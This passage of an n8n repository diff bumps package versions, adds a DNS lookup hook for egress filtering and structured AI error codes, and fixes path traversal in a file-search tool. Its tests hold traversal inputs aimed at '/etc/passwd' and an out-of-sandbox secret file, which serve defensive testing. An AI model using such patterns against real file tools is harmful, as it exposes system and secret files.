| - (Foreign key ID: 1) | FOREIGN KEY | FOREIGN KEY (workflowId) REFERENCES workflow_entity (id) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE |
|
| - (Foreign key ID: 0) | FOREIGN KEY | FOREIGN KEY (workflowId) REFERENCES workflow_entity (id) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE |
|
||||||
|
| - (Foreign key ID: 1) | FOREIGN KEY | FOREIGN KEY (versionId) REFERENCES workflow_history (versionId) ON UPDATE NO ACTION ON DELETE CASCADE MATCH NONE |
|
||||||
| nodeId | PRIMARY KEY | PRIMARY KEY (nodeId) |
|
| nodeId | PRIMARY KEY | PRIMARY KEY (nodeId) |
|
||||||
| sqlite_autoindex_workflow_publication_trigger_status_1 | PRIMARY KEY | PRIMARY KEY (workflowId, nodeId) |
|
| sqlite_autoindex_workflow_publication_trigger_status_1 | PRIMARY KEY | PRIMARY KEY (workflowId, nodeId) |
|
||||||
| workflowId | PRIMARY KEY | PRIMARY KEY (workflowId) |
|
| workflowId | PRIMARY KEY | PRIMARY KEY (workflowId) |
|
||||||
|
|
@ -53,6 +55,7 @@ erDiagram
|
||||||
TEXT errorMessage
|
TEXT errorMessage
|
||||||
varchar_36_ nodeId PK
|
varchar_36_ nodeId PK
|
||||||
varchar_20_ status
|
varchar_20_ status
|
||||||
|
varchar_20_ triggerKind
|
||||||
datetime_3_ updatedAt
|
datetime_3_ updatedAt
|
||||||
varchar_36_ versionId FK
|
varchar_36_ versionId FK
|
||||||
varchar_36_ workflowId PK
|
varchar_36_ workflowId PK
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "n8n-monorepo",
|
"name": "n8n-monorepo",
|
||||||
"version": "2.31.0",
|
"version": "2.31.6",
|
||||||
"private": true,
|
"private": true,
|
||||||
"engines": {
|
"engines": {
|
||||||
"node": ">=22.22",
|
"node": ">=22.22",
|
||||||
|
|
@ -206,7 +206,8 @@
|
||||||
"@lezer/highlight": "patches/@lezer__highlight.patch",
|
"@lezer/highlight": "patches/@lezer__highlight.patch",
|
||||||
"v-code-diff": "patches/v-code-diff.patch",
|
"v-code-diff": "patches/v-code-diff.patch",
|
||||||
"vuedraggable@4.1.0": "patches/vuedraggable@4.1.0.patch",
|
"vuedraggable@4.1.0": "patches/vuedraggable@4.1.0.patch",
|
||||||
"assert@2.1.0": "patches/assert@2.1.0.patch"
|
"assert@2.1.0": "patches/assert@2.1.0.patch",
|
||||||
|
"lodash@4.18.1": "patches/lodash@4.18.1.patch"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/agents",
|
"name": "@n8n/agents",
|
||||||
"version": "0.16.0",
|
"version": "0.16.3",
|
||||||
"description": "AI agent SDK for n8n's code-first execution engine",
|
"description": "AI agent SDK for n8n's code-first execution engine",
|
||||||
"main": "dist/index.js",
|
"main": "dist/index.js",
|
||||||
"module": "dist/index.js",
|
"module": "dist/index.js",
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/ai-node-sdk",
|
"name": "@n8n/ai-node-sdk",
|
||||||
"version": "0.21.0",
|
"version": "0.21.3",
|
||||||
"description": "SDK for building AI nodes in n8n",
|
"description": "SDK for building AI nodes in n8n",
|
||||||
"types": "dist/esm/index.d.ts",
|
"types": "dist/esm/index.d.ts",
|
||||||
"module": "dist/esm/index.js",
|
"module": "dist/esm/index.js",
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/ai-utilities",
|
"name": "@n8n/ai-utilities",
|
||||||
"version": "0.24.0",
|
"version": "0.24.3",
|
||||||
"description": "Utilities for building AI nodes in n8n",
|
"description": "Utilities for building AI nodes in n8n",
|
||||||
"types": "dist/esm/index.d.ts",
|
"types": "dist/esm/index.d.ts",
|
||||||
"module": "dist/esm/index.js",
|
"module": "dist/esm/index.js",
|
||||||
|
|
|
||||||
|
|
@ -245,6 +245,32 @@ describe('getProxyAgent', () => {
|
||||||
expect(Agent).toHaveBeenCalled();
|
expect(Agent).toHaveBeenCalled();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('secure lookup', () => {
|
||||||
|
it('should build an Agent with the lookup on connect when no proxy is configured', () => {
|
||||||
|
const lookup = vi.fn();
|
||||||
|
|
||||||
|
const agent = getProxyAgent('https://api.openai.com/v1', undefined, lookup);
|
||||||
|
|
||||||
|
expect(Agent).toHaveBeenCalledWith(expect.objectContaining({ connect: { lookup } }));
|
||||||
|
expect(agent).toEqual(expect.objectContaining({ type: 'Agent' }));
|
||||||
|
expect(ProxyAgent).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should not attach the lookup to a ProxyAgent when a proxy is configured', () => {
|
||||||
|
const proxyUrl = 'https://proxy.example.com:8080';
|
||||||
|
process.env.HTTPS_PROXY = proxyUrl;
|
||||||
|
const lookup = vi.fn();
|
||||||
|
|
||||||
|
getProxyAgent('https://api.openai.com/v1', undefined, lookup);
|
||||||
|
|
||||||
|
expect(ProxyAgent).toHaveBeenCalledWith(expect.objectContaining({ uri: proxyUrl }));
|
||||||
|
expect(ProxyAgent).not.toHaveBeenCalledWith(
|
||||||
|
expect.objectContaining({ connect: expect.anything() }),
|
||||||
|
);
|
||||||
|
expect(Agent).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('proxyFetch', () => {
|
describe('proxyFetch', () => {
|
||||||
|
|
|
||||||
|
|
@ -18,6 +18,7 @@
|
||||||
* raw dispatcher). See CAT-3377 for the consolidation this completes.
|
* raw dispatcher). See CAT-3377 for the consolidation this completes.
|
||||||
*/
|
*/
|
||||||
import { createHttpsProxyAgent, resolveProxyUrl } from '@n8n/backend-network/proxy'; // `@n8n/backend-network/proxy` is a DI-free subpath: it pulls in only the proxy-agent libs
|
import { createHttpsProxyAgent, resolveProxyUrl } from '@n8n/backend-network/proxy'; // `@n8n/backend-network/proxy` is a DI-free subpath: it pulls in only the proxy-agent libs
|
||||||
|
import type { LookupFunction } from 'node:net';
|
||||||
/* eslint-disable n8n-local-rules/no-uncentralized-http -- langchain consumers pin undici v6, incompatible with backend-network's v7 dispatchers; see block comment below */
|
/* eslint-disable n8n-local-rules/no-uncentralized-http -- langchain consumers pin undici v6, incompatible with backend-network's v7 dispatchers; see block comment below */
|
||||||
import { Agent, ProxyAgent } from 'undici';
|
import { Agent, ProxyAgent } from 'undici';
|
||||||
|
|
||||||
|
|
@ -49,15 +50,21 @@ const PROXY_FALLBACK_TARGET = 'https://example.nonexistent/';
|
||||||
* @param targetUrl - The target URL to check proxy configuration for (optional)
|
* @param targetUrl - The target URL to check proxy configuration for (optional)
|
||||||
* @param timeoutOptions - Optional timeout configuration to override defaults. When provided,
|
* @param timeoutOptions - Optional timeout configuration to override defaults. When provided,
|
||||||
* always returns an Agent/ProxyAgent (even without proxy) to ensure timeouts are applied.
|
* always returns an Agent/ProxyAgent (even without proxy) to ensure timeouts are applied.
|
||||||
* @returns An Agent (no proxy with timeout options) or ProxyAgent (with proxy) configured with timeouts,
|
* @param lookup - Optional DNS lookup to pin the resolved address at connect time (e.g. an egress
|
||||||
* or undefined if no proxy is configured and no timeout options are provided (backward compatible behavior).
|
* filter's secure lookup). When provided (without a proxy) an Agent is always returned.
|
||||||
|
* @returns An Agent (no proxy with timeout options or a lookup) or ProxyAgent (with proxy) configured with timeouts,
|
||||||
|
* or undefined if no proxy, timeout options, nor lookup are provided (backward compatible behavior).
|
||||||
*
|
*
|
||||||
* @remarks
|
* @remarks
|
||||||
* When timeoutOptions are provided, this function always returns an agent to ensure timeouts are properly configured.
|
* When timeoutOptions are provided, this function always returns an agent to ensure timeouts are properly configured.
|
||||||
* The default undici timeouts (5 minutes) are too short for many AI operations.
|
* The default undici timeouts (5 minutes) are too short for many AI operations.
|
||||||
* When timeoutOptions are NOT provided, returns undefined if no proxy is configured (backward compatible).
|
* When timeoutOptions are NOT provided, returns undefined if no proxy is configured (backward compatible).
|
||||||
*/
|
*/
|
||||||
export function getProxyAgent(targetUrl?: string, timeoutOptions?: AgentTimeoutOptions) {
|
export function getProxyAgent(
|
||||||
|
targetUrl?: string,
|
||||||
|
timeoutOptions?: AgentTimeoutOptions,
|
||||||
|
lookup?: LookupFunction,
|
||||||
|
) {
|
||||||
const proxyUrl = resolveProxyUrl(targetUrl, PROXY_FALLBACK_TARGET);
|
const proxyUrl = resolveProxyUrl(targetUrl, PROXY_FALLBACK_TARGET);
|
||||||
|
|
||||||
const agentOptions = {
|
const agentOptions = {
|
||||||
|
|
@ -69,6 +76,9 @@ export function getProxyAgent(targetUrl?: string, timeoutOptions?: AgentTimeoutO
|
||||||
};
|
};
|
||||||
|
|
||||||
if (!proxyUrl) {
|
if (!proxyUrl) {
|
||||||
|
if (lookup) {
|
||||||
|
return new Agent({ ...agentOptions, connect: { lookup } });
|
||||||
|
}
|
||||||
if (timeoutOptions) {
|
if (timeoutOptions) {
|
||||||
return new Agent(agentOptions);
|
return new Agent(agentOptions);
|
||||||
}
|
}
|
||||||
|
|
@ -85,14 +95,16 @@ export function getProxyAgent(targetUrl?: string, timeoutOptions?: AgentTimeoutO
|
||||||
* @param input - The URL to fetch
|
* @param input - The URL to fetch
|
||||||
* @param init - Standard fetch RequestInit options
|
* @param init - Standard fetch RequestInit options
|
||||||
* @param timeoutOptions - Optional timeout configuration to override defaults
|
* @param timeoutOptions - Optional timeout configuration to override defaults
|
||||||
|
* @param lookup - Optional connect-time DNS lookup (e.g. an egress filter's secure lookup)
|
||||||
*/
|
*/
|
||||||
export async function proxyFetch(
|
export async function proxyFetch(
|
||||||
input: RequestInfo | URL,
|
input: RequestInfo | URL,
|
||||||
init?: RequestInit,
|
init?: RequestInit,
|
||||||
timeoutOptions?: AgentTimeoutOptions,
|
timeoutOptions?: AgentTimeoutOptions,
|
||||||
|
lookup?: LookupFunction,
|
||||||
): Promise<Response> {
|
): Promise<Response> {
|
||||||
const targetUrl = input instanceof Request ? input.url : input.toString();
|
const targetUrl = input instanceof Request ? input.url : input.toString();
|
||||||
const dispatcher = getProxyAgent(targetUrl, timeoutOptions);
|
const dispatcher = getProxyAgent(targetUrl, timeoutOptions, lookup);
|
||||||
|
|
||||||
return await fetch(input, {
|
return await fetch(input, {
|
||||||
...init,
|
...init,
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/ai-workflow-builder",
|
"name": "@n8n/ai-workflow-builder",
|
||||||
"version": "1.31.0",
|
"version": "1.31.3",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"clean": "rimraf dist .turbo",
|
"clean": "rimraf dist .turbo",
|
||||||
"typecheck": "tsc --noEmit",
|
"typecheck": "tsc --noEmit",
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/api-types",
|
"name": "@n8n/api-types",
|
||||||
"version": "1.31.0",
|
"version": "1.31.3",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"clean": "rimraf dist .turbo",
|
"clean": "rimraf dist .turbo",
|
||||||
"dev": "pnpm watch",
|
"dev": "pnpm watch",
|
||||||
|
|
|
||||||
|
|
@ -685,6 +685,33 @@ describe('agent-run-reducer', () => {
|
||||||
|
|
||||||
expect(state.agentsById['root'].textContent).toContain('root fallback');
|
expect(state.agentsById['root'].textContent).toContain('root fallback');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('does not append raw error text for a structured (coded) error', () => {
|
||||||
|
const state = stateWithRun('run-1', 'root');
|
||||||
|
reduceEvent(state, {
|
||||||
|
type: 'error',
|
||||||
|
runId: 'run-1',
|
||||||
|
agentId: 'root',
|
||||||
|
payload: { content: 'Have reached end of quota', code: 'quota_exhausted' },
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(state.agentsById['root'].textContent).toBe('');
|
||||||
|
expect(state.agentsById['root'].timeline).toHaveLength(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('still appends raw error text for an unrecognized error code', () => {
|
||||||
|
const state = stateWithRun('run-1', 'root');
|
||||||
|
reduceEvent(state, {
|
||||||
|
type: 'error',
|
||||||
|
runId: 'run-1',
|
||||||
|
agentId: 'root',
|
||||||
|
// An unknown code (older/newer service) has no dedicated UI state,
|
||||||
|
// so the transcript must still show the raw error.
|
||||||
|
payload: { content: 'boom', code: 'not_a_real_code' },
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(state.agentsById['root'].textContent).toContain('boom');
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('deep nesting', () => {
|
describe('deep nesting', () => {
|
||||||
|
|
|
||||||
|
|
@ -3,6 +3,7 @@ import {
|
||||||
applyBranchReadOnlyOverrides,
|
applyBranchReadOnlyOverrides,
|
||||||
buildFetchUrlGrantKey,
|
buildFetchUrlGrantKey,
|
||||||
DEFAULT_INSTANCE_AI_PERMISSIONS,
|
DEFAULT_INSTANCE_AI_PERMISSIONS,
|
||||||
|
errorPayloadSchema,
|
||||||
FETCH_URL_ALLOW_ALL_GRANT_KEY,
|
FETCH_URL_ALLOW_ALL_GRANT_KEY,
|
||||||
InstanceAiAdminSettingsUpdateRequest,
|
InstanceAiAdminSettingsUpdateRequest,
|
||||||
instanceAiEventSchema,
|
instanceAiEventSchema,
|
||||||
|
|
@ -11,6 +12,7 @@ import {
|
||||||
normalizeInstanceAiThreadSource,
|
normalizeInstanceAiThreadSource,
|
||||||
INSTANCE_AI_THREAD_SOURCE_FALLBACK,
|
INSTANCE_AI_THREAD_SOURCE_FALLBACK,
|
||||||
isInstanceAiSandboxProvider,
|
isInstanceAiSandboxProvider,
|
||||||
|
isKnownInstanceAiErrorCode,
|
||||||
parseDomainAccessGrants,
|
parseDomainAccessGrants,
|
||||||
WEB_SEARCH_GRANT_KEY,
|
WEB_SEARCH_GRANT_KEY,
|
||||||
workflowSetupNodeSchema,
|
workflowSetupNodeSchema,
|
||||||
|
|
@ -54,6 +56,38 @@ describe('instanceAiEventSchema', () => {
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('errorPayloadSchema', () => {
|
||||||
|
it('accepts a payload without a code', () => {
|
||||||
|
expect(errorPayloadSchema.parse({ content: 'boom' })).toEqual({ content: 'boom' });
|
||||||
|
});
|
||||||
|
|
||||||
|
it('accepts the quota_exhausted code', () => {
|
||||||
|
const payload = { content: 'out of credits', code: 'quota_exhausted' as const };
|
||||||
|
expect(errorPayloadSchema.parse(payload)).toEqual(payload);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('accepts an unknown code and preserves it (forward-compatible)', () => {
|
||||||
|
// A newer service may emit an error code an older client doesn't recognize.
|
||||||
|
// The wire schema must not reject it, otherwise the whole error event is
|
||||||
|
// dropped by instanceAiEventSchema.safeParse before the reducer's
|
||||||
|
// unknown-code fallback can render a generic error.
|
||||||
|
const parsed = errorPayloadSchema.safeParse({ content: 'boom', code: 'some_future_code' });
|
||||||
|
expect(parsed.success).toBe(true);
|
||||||
|
expect(parsed.success && parsed.data.code).toBe('some_future_code');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('isKnownInstanceAiErrorCode', () => {
|
||||||
|
it('is true for a recognized code', () => {
|
||||||
|
expect(isKnownInstanceAiErrorCode('quota_exhausted')).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('is false for an unknown code or undefined', () => {
|
||||||
|
expect(isKnownInstanceAiErrorCode('some_future_code')).toBe(false);
|
||||||
|
expect(isKnownInstanceAiErrorCode(undefined)).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
describe('workflowSetupNodeSchema credentials', () => {
|
describe('workflowSetupNodeSchema credentials', () => {
|
||||||
const baseNode = {
|
const baseNode = {
|
||||||
name: 'Gemini',
|
name: 'Gemini',
|
||||||
|
|
|
||||||
|
|
@ -19,7 +19,7 @@
|
||||||
* parse yields a state whose index and tree no longer share objects.
|
* parse yields a state whose index and tree no longer share objects.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
import { getRenderHint, isSafeObjectKey } from './instance-ai.schema';
|
import { getRenderHint, isKnownInstanceAiErrorCode, isSafeObjectKey } from './instance-ai.schema';
|
||||||
import type {
|
import type {
|
||||||
InstanceAiEvent,
|
InstanceAiEvent,
|
||||||
InstanceAiAgentNode,
|
InstanceAiAgentNode,
|
||||||
|
|
@ -457,6 +457,10 @@ export function reduceEvent(state: AgentRunState, event: InstanceAiEvent): Agent
|
||||||
}
|
}
|
||||||
|
|
||||||
case 'error': {
|
case 'error': {
|
||||||
|
// A recognized error code is rendered by a dedicated UI state from the error
|
||||||
|
// payload, so don't also inline the raw text. An unknown code (older/newer
|
||||||
|
// service) has no such state — fall through and show the raw error.
|
||||||
|
if (isKnownInstanceAiErrorCode(event.payload.code)) break;
|
||||||
const errorText = '\n\n*Error: ' + event.payload.content + '*';
|
const errorText = '\n\n*Error: ' + event.payload.content + '*';
|
||||||
const agent = ensureAgent(state, event.agentId) ?? state.agentsById[state.rootAgentId];
|
const agent = ensureAgent(state, event.agentId) ?? state.agentsById[state.rootAgentId];
|
||||||
if (agent) {
|
if (agent) {
|
||||||
|
|
|
||||||
|
|
@ -570,9 +570,26 @@ export const statusPayloadSchema = z.object({
|
||||||
message: z.string().describe('Transient status message. Empty string clears the indicator.'),
|
message: z.string().describe('Transient status message. Empty string clears the indicator.'),
|
||||||
});
|
});
|
||||||
|
|
||||||
|
/** Machine-readable error classes the UI can render a tailored state for. */
|
||||||
|
export const INSTANCE_AI_ERROR_CODES = ['quota_exhausted'] as const;
|
||||||
|
|
||||||
|
export type InstanceAiErrorCode = (typeof INSTANCE_AI_ERROR_CODES)[number];
|
||||||
|
|
||||||
|
/** Whether `code` is a class the UI recognizes and has a tailored state for.
|
||||||
|
* Consumers narrow the permissive wire `code` (a plain string, for forward
|
||||||
|
* compatibility) through this before rendering a code-specific state. */
|
||||||
|
export function isKnownInstanceAiErrorCode(code: string | undefined): code is InstanceAiErrorCode {
|
||||||
|
return code !== undefined && INSTANCE_AI_ERROR_CODES.some((known) => known === code);
|
||||||
|
}
|
||||||
|
|
||||||
export const errorPayloadSchema = z.object({
|
export const errorPayloadSchema = z.object({
|
||||||
content: z.string(),
|
content: z.string(),
|
||||||
statusCode: z.number().optional(),
|
statusCode: z.number().optional(),
|
||||||
|
/** Set when the failure maps to a known class (e.g. out of credits) so the UI
|
||||||
|
* can tailor it. Kept a plain string (not an enum) so an error event carrying
|
||||||
|
* a code a newer service added still parses on older clients instead of being
|
||||||
|
* dropped wholesale — recognized codes are matched via isKnownInstanceAiErrorCode. */
|
||||||
|
code: z.string().optional(),
|
||||||
provider: z.string().optional(),
|
provider: z.string().optional(),
|
||||||
technicalDetails: z.string().optional(),
|
technicalDetails: z.string().optional(),
|
||||||
});
|
});
|
||||||
|
|
@ -1029,6 +1046,10 @@ export interface InstanceAiAgentNode {
|
||||||
error?: string;
|
error?: string;
|
||||||
errorDetails?: {
|
errorDetails?: {
|
||||||
statusCode?: number;
|
statusCode?: number;
|
||||||
|
/** Mirrors {@link errorPayloadSchema} `code` — lets the UI render a tailored error
|
||||||
|
* state. A plain string (not the enum) so an unrecognized code from a newer
|
||||||
|
* service is preserved; recognized codes are matched via isKnownInstanceAiErrorCode. */
|
||||||
|
code?: string;
|
||||||
provider?: string;
|
provider?: string;
|
||||||
technicalDetails?: string;
|
technicalDetails?: string;
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/backend-common",
|
"name": "@n8n/backend-common",
|
||||||
"version": "1.31.0",
|
"version": "1.31.3",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"clean": "rimraf dist .turbo",
|
"clean": "rimraf dist .turbo",
|
||||||
"dev": "pnpm watch",
|
"dev": "pnpm watch",
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/backend-network",
|
"name": "@n8n/backend-network",
|
||||||
"version": "1.5.0",
|
"version": "1.5.3",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"clean": "rimraf dist .turbo",
|
"clean": "rimraf dist .turbo",
|
||||||
"dev": "pnpm watch",
|
"dev": "pnpm watch",
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/backend-test-utils",
|
"name": "@n8n/backend-test-utils",
|
||||||
"version": "1.31.0",
|
"version": "1.31.3",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"clean": "rimraf dist .turbo",
|
"clean": "rimraf dist .turbo",
|
||||||
"dev": "pnpm watch",
|
"dev": "pnpm watch",
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/chat-hub",
|
"name": "@n8n/chat-hub",
|
||||||
"version": "1.24.0",
|
"version": "1.24.3",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"clean": "rimraf dist .turbo",
|
"clean": "rimraf dist .turbo",
|
||||||
"dev": "pnpm watch",
|
"dev": "pnpm watch",
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@n8n/computer-use",
|
"name": "@n8n/computer-use",
|
||||||
"version": "0.15.0",
|
"version": "0.15.1",
|
||||||
"description": "Local AI gateway for n8n AI Assistant — filesystem, shell, screenshots, mouse/keyboard, and browser automation",
|
"description": "Local AI gateway for n8n AI Assistant — filesystem, shell, screenshots, mouse/keyboard, and browser automation",
|
||||||
"publishConfig": {
|
"publishConfig": {
|
||||||
"bin": {
|
"bin": {
|
||||||
|
|
|
||||||
|
|
@ -1,3 +1,4 @@
|
||||||
|
import fastGlob from 'fast-glob';
|
||||||
import * as fs from 'node:fs/promises';
|
import * as fs from 'node:fs/promises';
|
||||||
import * as os from 'node:os';
|
import * as os from 'node:os';
|
||||||
import * as path from 'node:path';
|
import * as path from 'node:path';
|
||||||
|
|
@ -5,6 +6,11 @@ import * as path from 'node:path';
|
||||||
import { textOf } from '../test-utils';
|
import { textOf } from '../test-utils';
|
||||||
import { searchFilesTool } from './search-files';
|
import { searchFilesTool } from './search-files';
|
||||||
|
|
||||||
|
vi.mock('fast-glob', async (importOriginal) => {
|
||||||
|
const actual = await importOriginal<{ default: typeof fastGlob }>();
|
||||||
|
return { default: vi.fn(actual.default) };
|
||||||
|
});
|
||||||
|
|
||||||
type FileMatch = { path: string };
|
type FileMatch = { path: string };
|
||||||
type ContentMatch = { path: string; lineNumber: number; line: string };
|
type ContentMatch = { path: string; lineNumber: number; line: string };
|
||||||
|
|
||||||
|
|
@ -252,6 +258,10 @@ describe('searchFilesTool', () => {
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('execute — security', () => {
|
describe('execute — security', () => {
|
||||||
|
afterEach(() => {
|
||||||
|
vi.mocked(fastGlob).mockClear();
|
||||||
|
});
|
||||||
|
|
||||||
it.each(['/etc/passwd', '../../etc/passwd', '../../../etc/**'])(
|
it.each(['/etc/passwd', '../../etc/passwd', '../../../etc/**'])(
|
||||||
'rejects pattern that escapes the base directory: %s',
|
'rejects pattern that escapes the base directory: %s',
|
||||||
async (pattern) => {
|
async (pattern) => {
|
||||||
|
|
@ -260,6 +270,73 @@ describe('searchFilesTool', () => {
|
||||||
);
|
);
|
||||||
},
|
},
|
||||||
);
|
);
|
||||||
|
|
||||||
|
it('drops matches that resolve outside the base even when the pattern passes', async () => {
|
||||||
|
// The pattern contains no literal `..`, but glob expansion produces a match
|
||||||
|
// that resolves outside the base directory.
|
||||||
|
vi.mocked(fastGlob).mockResolvedValueOnce(['../SECRET.txt']);
|
||||||
|
|
||||||
|
const result = await searchFilesTool.execute({ name: '{a,..}/SECRET.txt' }, context);
|
||||||
|
const data = parseResult<NameOnlyResult>(result);
|
||||||
|
|
||||||
|
expect(data.matches).toEqual([]);
|
||||||
|
expect(data.totalMatches).toBe(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('does not read the contents of a match that resolves outside the base', async () => {
|
||||||
|
// `query` is set, so a match that slipped through would be read and returned.
|
||||||
|
vi.mocked(fastGlob).mockResolvedValueOnce(['../SECRET.txt']);
|
||||||
|
|
||||||
|
const result = await searchFilesTool.execute(
|
||||||
|
{ name: '{a,..}/SECRET.txt', query: 'SECRET' },
|
||||||
|
context,
|
||||||
|
);
|
||||||
|
const data = parseResult<ContentResult>(result);
|
||||||
|
|
||||||
|
expect(data.matches).toEqual([]);
|
||||||
|
expect(data.totalMatches).toBe(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('keeps in-base matches while dropping ones outside the base', async () => {
|
||||||
|
await writeFile(baseDir, 'inside.txt', 'value');
|
||||||
|
// Glob expansion can yield both an in-base and an out-of-base match.
|
||||||
|
vi.mocked(fastGlob).mockResolvedValueOnce(['inside.txt', '../SECRET.txt']);
|
||||||
|
|
||||||
|
const result = await searchFilesTool.execute({ name: '{.,..}/inside.txt' }, context);
|
||||||
|
const data = parseResult<NameOnlyResult>(result);
|
||||||
|
|
||||||
|
expect(data.matches).toEqual([{ path: 'inside.txt' }]);
|
||||||
|
expect(data.totalMatches).toBe(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('does not return a file that lives outside the base directory', async () => {
|
||||||
|
// The target file sits one level above the sandbox base.
|
||||||
|
const outerDir = await fs.mkdtemp(path.join(os.tmpdir(), 'search-files-outer-'));
|
||||||
|
const sandbox = path.join(outerDir, 'sandbox');
|
||||||
|
await fs.mkdir(sandbox);
|
||||||
|
await fs.writeFile(path.join(outerDir, 'SECRET.txt'), 'SECRET=topsecret');
|
||||||
|
|
||||||
|
// The tool either rejects the pattern or, on glob versions that expand it
|
||||||
|
// differently, returns no match — never the outside file's content.
|
||||||
|
const runSearch = async (): Promise<string> => {
|
||||||
|
try {
|
||||||
|
const result = await searchFilesTool.execute(
|
||||||
|
{ name: '{a,..}/SECRET.txt', query: 'SECRET' },
|
||||||
|
{ dir: sandbox },
|
||||||
|
);
|
||||||
|
return textOf(result);
|
||||||
|
} catch (error) {
|
||||||
|
expect(String(error)).toContain('escapes the base directory');
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
try {
|
||||||
|
expect(await runSearch()).not.toContain('topsecret');
|
||||||
|
} finally {
|
||||||
|
await fs.rm(outerDir, { recursive: true, force: true });
|
||||||
|
}
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('CallToolResult shape', () => {
|
describe('CallToolResult shape', () => {
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,5 @@
|
||||||
import fastGlob from 'fast-glob';
|
import fastGlob from 'fast-glob';
|
||||||
import * as fs from 'node:fs/promises';
|
import * as fs from 'node:fs/promises';
|
||||||
import * as path from 'node:path';
|
|
||||||
import { z } from 'zod';
|
import { z } from 'zod';
|
||||||
|
|
||||||
import type { ToolDefinition } from '../types';
|
import type { ToolDefinition } from '../types';
|
||||||
|
|
@ -62,7 +61,7 @@ export const searchFilesTool: ToolDefinition<typeof inputSchema> = {
|
||||||
const resolvedDir = await resolveReadablePath(dir, '.');
|
const resolvedDir = await resolveReadablePath(dir, '.');
|
||||||
const limit = maxResults ?? 50;
|
const limit = maxResults ?? 50;
|
||||||
|
|
||||||
const files = await fastGlob(name, {
|
const globbed = await fastGlob(name, {
|
||||||
cwd: resolvedDir,
|
cwd: resolvedDir,
|
||||||
ignore: IGNORE_PATTERNS,
|
ignore: IGNORE_PATTERNS,
|
||||||
onlyFiles: true,
|
onlyFiles: true,
|
||||||
|
|
@ -70,63 +69,77 @@ export const searchFilesTool: ToolDefinition<typeof inputSchema> = {
|
||||||
suppressErrors: true,
|
suppressErrors: true,
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// The literal-pattern check above cannot see paths produced by glob expansion,
|
||||||
|
// so re-resolve every match through the shared resolver, which re-checks
|
||||||
|
// containment (following symlinks safely) and drops anything outside the base.
|
||||||
|
const resolved = await Promise.all(
|
||||||
|
globbed.map(async (path) => {
|
||||||
|
const absolutePath = await resolveReadablePath(dir, path).catch(() => null);
|
||||||
|
return absolutePath ? { path, absolutePath } : null;
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
const files = resolved.filter((file): file is ResolvedFile => file !== null);
|
||||||
|
|
||||||
if (!query) {
|
if (!query) {
|
||||||
const matches = files.slice(0, limit).map((p) => ({ path: p }));
|
|
||||||
return formatCallToolResult({
|
return formatCallToolResult({
|
||||||
name,
|
name,
|
||||||
matches,
|
matches: files.slice(0, limit).map(({ path }) => ({ path })),
|
||||||
truncated: files.length > limit,
|
truncated: files.length > limit,
|
||||||
totalMatches: files.length,
|
totalMatches: files.length,
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
const regex = new RegExp(escapeRegex(query), ignoreCase ? 'gi' : 'g');
|
const regex = new RegExp(escapeRegex(query), ignoreCase ? 'i' : '');
|
||||||
const matches: Array<{ path: string; lineNumber: number; line: string }> = [];
|
const matches = await Promise.all(files.map(async (file) => await grepFile(file, regex))).then(
|
||||||
let totalMatches = 0;
|
(results) => results.flat(),
|
||||||
|
);
|
||||||
for (const fp of files) {
|
|
||||||
if (matches.length >= limit) break;
|
|
||||||
|
|
||||||
try {
|
|
||||||
